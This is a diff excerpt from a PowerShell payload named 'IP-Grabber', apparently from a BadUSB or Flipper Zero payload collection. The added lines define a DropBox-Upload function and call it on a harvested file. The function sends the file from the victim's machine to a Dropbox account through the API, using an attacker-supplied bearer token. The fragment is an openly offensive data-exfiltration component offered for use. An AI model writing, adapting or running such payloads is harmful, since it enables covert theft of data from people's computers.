■ ■ ■ ■ ■ ■
Payloads/Flip-IP-Grabber/IP-Grabber.ps1
| skipped 108 lines |
109 | 109 | | |
110 | 110 | | #------------------------------------------------------------------------------------------------------------------------------------ |
111 | 111 | | |
| 112 | + | function DropBox-Upload { |
| 113 | + | |
| 114 | + | [CmdletBinding()] |
| 115 | + | param ( |
| 116 | + | |
| 117 | + | [Parameter (Mandatory = $True, ValueFromPipeline = $True)] |
| 118 | + | [Alias("f")] |
| 119 | + | [string]$SourceFilePath |
| 120 | + | ) |
| 121 | + | $outputFile = Split-Path $SourceFilePath -leaf |
| 122 | + | $TargetFilePath="/$outputFile" |
| 123 | + | $arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }' |
| 124 | + | $authorization = "Bearer " + $db |
| 125 | + | $headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]" |
| 126 | + | $headers.Add("Authorization", $authorization) |
| 127 | + | $headers.Add("Dropbox-API-Arg", $arg) |
| 128 | + | $headers.Add("Content-Type", 'application/octet-stream') |
| 129 | + | Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers |
| 130 | + | } |
| 131 | + | |
| 132 | + | if (-not ([string]::IsNullOrEmpty($db))){DropBox-Upload -f $FileName} |
| 133 | + | |